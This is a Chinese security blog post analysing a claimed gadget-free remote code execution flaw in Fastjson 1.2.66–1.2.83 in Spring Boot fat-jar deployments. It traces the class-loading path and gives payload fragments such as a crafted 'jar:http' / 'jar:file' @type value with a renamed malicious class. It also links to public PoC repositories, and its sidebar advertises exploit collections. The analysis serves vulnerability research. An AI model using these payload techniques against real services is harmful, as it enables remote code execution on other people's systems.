漏洞收录
2025年HVV公开披露POC
GitHub PoC实时雷达
700+漏洞归档弹药库
Linux核弹级提权1秒Root
WooYun历史案例可构建
Linux本地提权通杀项目
CVE-2026-42945漏扫验证
Nginx 1.31.0 RCE 0day
FastJsonV1.2.83漏洞分析
小迪安全知识库
-
+
首页
FastJsonV1.2.83漏洞分析
FastJsonV1.2.83漏洞分析
# FastJson 1.2.83 远程代码执行分析 ## 写在前面 7 月 20 日前后,安全圈炸出一颗雷:Fastjson 1.2.66 ~ 1.2.83 在 `@JSONType` 资源探测路径上存在一个 gadget-free 的远程代码执行漏洞,编号 QVD-2026-43021,原始披露者是 Kirill Firsov(@k\_firsov)。 这个洞的可怕之处不在于"又一条利用链",而在于它**直接绕过了 Fastjson 过去几年里几乎所有主流加固手段**: * ▸ 不依赖 AutoType 开启 —— 默认配置下即触发 * ▸ 不依赖任何第三方 gadget class —— 只用 JDK 自带的 `LaunchedURLClassLoader` * ▸ 不依赖 expectClass 绕过 —— 完全是一条新路径 * ▸ SafeMode 是唯一可靠的紧急缓解 —— 但很多老项目为了兼容性都不敢开 复现时我先后翻了四五个公开 PoC 仓库,最后锁定两个: * ▸https://github.com/midisec/fastjson-1.2.83-gadget-rce:核心利用工具,覆盖 JDK 8/17/21/25 全版本 * ▸https://github.com/0x7eTeam/fastjson-1.2.83-rce:配套的 Spring Boot FatJar 漏洞靶场 这两个仓库配合起来,就是一套"一键复现 + 批量检测"的完整套件。 ## 前景提要 省去前面的json ast解析过程,直接来到`com.alibaba.fastjson.parser.ParserConfig[#checkAutoType](javascript:;)(java.lang.String, java.lang.Class<?>, int)`  主要逻辑从这里开始,先检查`@type`的类是否在已经缓存过的`class`名单内  如果不存在则通过`deserializers.findClass`来从注册过的反序列化器里寻找   接着判断如果是白名单内就直接加载  如果在前面的逻辑里获取到了`clazz`,则在这里判断如果当前有`expectClass`入参,并且传入的类名是`expectClass`的子类或者实现类(`isAssignableFrom(clazz)`),也就是期望类,那就可以过掉当前`checkAutoType`的检查,如果不符合直接抛出异常,也就是在`fj`高版本之后这里如果不是期望类直接下机  前面提到的反序列化器里当中就有`com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer[#deserialze](javascript:;)`  这里直接将`@type`里的类传入`checkAutoType`,且`expectClass`为`Throwable.class`,这里过掉`checkAutoType`的检查后就创建异常类对应的实例,这也是历史`fj`高版本当中用`Throwable`子类比较多的原因 后面会基于传入的类名来加载这个类,尝试通过读取这个类来判断是否存在`@JsonType`的注解  这里由于`defaultClassLoader`为`null`,所以走到`ParserConfig.class.getClassLoader().getResourceAsStream(resource)`来获取类文件的资源  到最后就是判断如果是白名单里的类,期望类,实现了`jsonType`的类其中任意一条满足的话,就调用`com.alibaba.fastjson.util.TypeUtils[#loadClass](javascript:;)(java.lang.String, java.lang.ClassLoader, boolean)`,同时如果这个类是白名单类或者`jsonType`类型的话就会被缓存  这里由于传进来的`classloader`是`null`,导致这里是加载不到恶意类`class`的,所以会继续往下走来到这里  到这里通过`Thread.currentThread().getContextClassLoader()`拿到当前线程的`classloader`来加载我们的恶意类,可以看到这里就正常了,是`WebAppClassLoader` ## 无gadget实现代码执行 前景提要里可以发现绕来绕去无非都是在找新链子实现写文件到`docbase`再来加载恶意类,总之关键的一步在于链子。链子太难挖了,但这次的`payload`巧妙之处就在于前面提到的<基于传入的类名来加载这个类>部分以及双亲委派机制来实现的无`gadget`代码执行 我们跟入一下<基于传入的类名来加载这个类>这个部分  注意此时的`ParserConfig.class.getClassLoader()`返回的是`LaunchedURLClassLoader`  可以看到这个`LaunchedURLClassLoader`是`Spring Boot`自己实现的,我们先强制步入看看其实现  步入进来后可以看到是`URLClassLoader`,那就对味了,说明`LaunchedURLClassLoader`是继承了`URLClassLoader`,同时可以看到这里在获取资源的时候用的是`URLConnection`,其支持`http`、`file`、`jar`、`mailto`等协议,所以这里入参的时候是可以使用`jar:`协议的,也为这次的利用做了铺垫  在拿到文件流之后就是判断传入的类里是否存在`@JsonType`注解  这一步只要能够满足,就可以在下面的`clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);`正常走进去,满足条件也很简单,我们只需要给恶意类加上`@JsonType`注解即可  满足条件后走到`loadClass`   后面的不再赘述,前半段到这里已经结束,后半段是双亲委派的加载机制问题。 ## 双亲委派导致的利用场景受限 前面我们说过,我们当前`ParserConfig.class.getClassLoader()`拿到的是`LaunchedURLClassLoader`,是`spring-boot-loader`中自定义的类加载器,主要实现对`jar`包当中`BOOT-INF/classes`下的类以及`BOOT-INF/lib`下第三方`jar`包中的类的加载,也就是`jar in jar`的形式  当`ParserConfig.class.getClassLoader()`返回的是`LaunchedURLClassLoader`的时候,通过`getResourceAsStream -> findResource`最后还是交给了父类的`URLClassLoader[#findResource](javascript:;)`来查找资源,其父类底层使用的还是`URL`,导致我们可以使用`jar:`协议来加载一个`jar`文件当中的资源 这里需要注意的是,他在获取资源的时候,是做了拼接的,也就是在获取资源之前   这为利用提供了天然的便利性,很容易能想到构造`jar:http://x.x.x.x:x/zipName!/entryName`的利用方式,通过`jar:http`的特性来远程加载一个`jar`包内的资源类目(这里其实是不是`jar`的类型不重要,是个压缩包就行,因为`jar`本质就是一个`zip`),不过需要注意的是,他有替换字符串`.`变为`/`的行为,所以我们需要处理一下变为`jar:http:..ip的int形式:端口.zipName!.entryName`,也就是把`/`替换为`.`,让他在字符串替换的过程中恢复回去,又由于不能出现`.`,不然就又被替换成`/`了,所以主机名我们得使用`ip`转`int`数字类型的方式来设置主机名,比如`127.0.0.1`对应为`2130706433`,也可以直接设置`localhost` 当我们满心欢喜构造好这个前置条件的`payload`后尝试发包  发现确实有请求,但是没有触发,我们在`loadClass`的位置打上断点看看什么情况  发现在传入`loadClass`方法的时候,用的是先前的完整的`typeName`,导致无法加载。这里就需要用到`URLClassLoader`的特性,我们跟一下这里的大概流程,先随便找一个携带`@JsonType`注解但是不在已定义的`package`里的类,这里选的是`com.alibaba.fastjson.support.geo.Geometry`     到这里可以看到父类加载器是`LaunchedURLClassLoader`,接着强制步入`jdk`内部的`Class.forName -> forName0`方法,走到了`java.lang.ClassLoader[#loadClass](javascript:;)(java.lang.String)`    这里会走到`java.net.URLClassLoader[#findClass](javascript:;)`  这里我们会看到,传入的`name`就是完整类名,这里会将类名当中的`.`替换为`/`,最后拼接`.class`得到完整的资源名称,如:`com.xxx.AA -> com/xx/AA.class`  最终通过`ucp.getResource(path, false);`获取资源里的`class`对象从而加载对应的类  对比一下之前的`payload`:`jar:http:..localhost:8888.RCE2!.RCE2`,这时候我们就知道了,此时`jdk`会去找`jar:http://localhost:8888/RCE2!/RCE2.class`这个资源,这个过程当中最重要的一步是`jdk`能够找到这个类名才行,否则无法进行加载,因为在加载的过程中会对比传入的两个名称(传入的完整类名和`class`实际的类名),不一致无法加载。所以看起来解决问题的方案就是将这个`RCE2`的类名通过`javaassit`或`asm`改成不合法的类名来满足要求:`package jar:http:..localhost:8888.RCE2!` 修改掉之后我们再次尝试利用   可见还是不行,但是`http`请求是被触发了的  这又是为什么呢?这是我们前面提到了,过程中会走到`Class.forName -> forName0`当中,而`forName0`在过程中会校验类名的合法性:https://github.com/openjdk/jdk8u/blob/master/jdk/src/share/native/java/lang/Class.c  这个过程中类名是不允许出现两个连续的`/`,而我们的`http`的`payload`由于出现了`..`,所以在转换的时候正好出现了`//`,被认为是非法类名直接抛出类不存在的异常了   所以上面这种方式在`TomcatEmbeddedWebappClassLoader`环境下是不生效的,我们故转而`jar:file`的方式来进行加载   可以看到能够正常加载这个畸形类,最后弹出计算器收尾  那么既然在`spring boot fatjar`下利用成功了,能不能在`tomcat war`环境下利用呢?目前看下来是不可以的,当然,如果你有更好的办法突破这个`tccl`的限制可以公众号后台私信交流学习  这是因为`ParallelWebappClassLoader`的资源查找逻辑是用的其父类的`WebappClassLoaderBase`当中的方法   在经过`nameToPath`之后,变成了`/jar:file:/tmp/RCE!/RCE.class`  这会导致最后实际查找的范围被框定在了`WEB-INF/classes/`或是`WEB-INF/lib`当中,因为不会把`/jar:file:/tmp/RCE!/RCE.class`解析成`URL`,自然就没办法加载到了 那么为什么强调要`fatjar`才能够运行呢?问题是一样的,`idea run`模式下的`Spring Boot`使用的是`AppClassLoader`,只查找`classpath`下的资源(如`target/classes`或是`jre lib`)  对比一下`LaunchedURLClassLoader`  以及`tomcat`的`ParallelWebappClassLoader`  ## 最后 其他能打`http`的途径不分析了,不出网利用已经是对脚本小子最大的恩赐
xiaodi
2026年7月22日 03:30
22
0 条评论
转发
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
分享
链接
类型
密码
更新密码
有效期
Markdown文件
Word文件
PDF文档
PDF文档(打印)